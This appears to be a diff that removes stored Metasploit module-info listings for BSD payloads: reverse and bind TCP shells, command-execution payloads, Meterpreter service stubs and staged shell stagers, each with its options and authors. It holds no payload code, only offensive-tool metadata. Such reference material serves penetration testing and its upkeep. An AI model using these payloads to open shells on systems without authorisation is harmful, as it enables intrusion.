||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Reverse TCP Inline
|
|
||||||
Module: payload/bsd/vax/shell_reverse_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: vax
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 100
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
wvu <wvu@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Connect back to attacker and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,33 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD x64 Execute Command
|
|
||||||
Module: payload/bsd/x64/exec
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x64
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 23
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
joev <joev@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
CMD yes The command string to execute
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Execute an arbitrary command
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD x64 Command Shell, Bind TCP Inline (IPv6)
|
|
||||||
Module: payload/bsd/x64/shell_bind_ipv6_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x64
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 90
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Listen for a connection and spawn a command shell over IPv6
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,40 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD x64 Shell Bind TCP
|
|
||||||
Module: payload/bsd/x64/shell_bind_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x64
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 136
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
nemo <nemo@felinemenace.org>
|
|
||||||
joev <joev@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
CMD /bin/sh yes The command string to execute
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Bind an arbitrary command to an arbitrary port
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD x64 Command Shell, Bind TCP Inline
|
|
||||||
Module: payload/bsd/x64/shell_bind_tcp_small
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x64
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 88
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Listen for a connection and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD x64 Command Shell, Reverse TCP Inline (IPv6)
|
|
||||||
Module: payload/bsd/x64/shell_reverse_ipv6_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x64
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
SCOPEID 0 no IPv6 scope ID, for link-local addresses
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Connect back to attacker and spawn a command shell over IPv6
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,47 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD x64 Shell Reverse TCP
|
|
||||||
Module: payload/bsd/x64/shell_reverse_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x64
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 98
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
nemo <nemo@felinemenace.org>
|
|
||||||
joev <joev@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
CMD /bin/sh yes The command string to execute
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Connect back to attacker and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,45 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD x64 Command Shell, Reverse TCP Inline
|
|
||||||
Module: payload/bsd/x64/shell_reverse_tcp_small
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x64
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 81
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Connect back to attacker and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Execute Command
|
|
||||||
Module: payload/bsd/x86/exec
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 16
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
snagg <snagg@openssl.it>
|
|
||||||
argp <argp@census-labs.com>
|
|
||||||
joev <joev@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
CMD yes The command string to execute
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Execute an arbitrary command
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,49 +0,0 @@
|
|||||||
|
|
||||||
Name: FreeBSD Meterpreter Service, Bind TCP
|
|
||||||
Module: payload/bsd/x86/metsvc_bind_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 0
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
hdm <x@hdm.io>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Stub payload for interacting with a Meterpreter Service
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,56 +0,0 @@
|
|||||||
|
|
||||||
Name: FreeBSD Meterpreter Service, Reverse TCP Inline
|
|
||||||
Module: payload/bsd/x86/metsvc_reverse_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 0
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
hdm <x@hdm.io>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Stub payload for interacting with a Meterpreter Service
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,45 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Bind TCP Stager (IPv6)
|
|
||||||
Module: payload/bsd/x86/shell/bind_ipv6_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 63
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
skape <mmiller@hick.org>
|
|
||||||
vlad902 <vlad902@gmail.com>
|
|
||||||
hdm <x@hdm.io>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a command shell (staged).
|
|
||||||
|
|
||||||
Listen for a connection over IPv6
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,43 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Bind TCP Stager
|
|
||||||
Module: payload/bsd/x86/shell/bind_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 54
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
skape <mmiller@hick.org>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a command shell (staged).
|
|
||||||
|
|
||||||
Listen for a connection
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Find Tag Stager
|
|
||||||
Module: payload/bsd/x86/shell/find_tag
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 40
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
skape <mmiller@hick.org>
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a command shell (staged).
|
|
||||||
|
|
||||||
Use an established connection
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
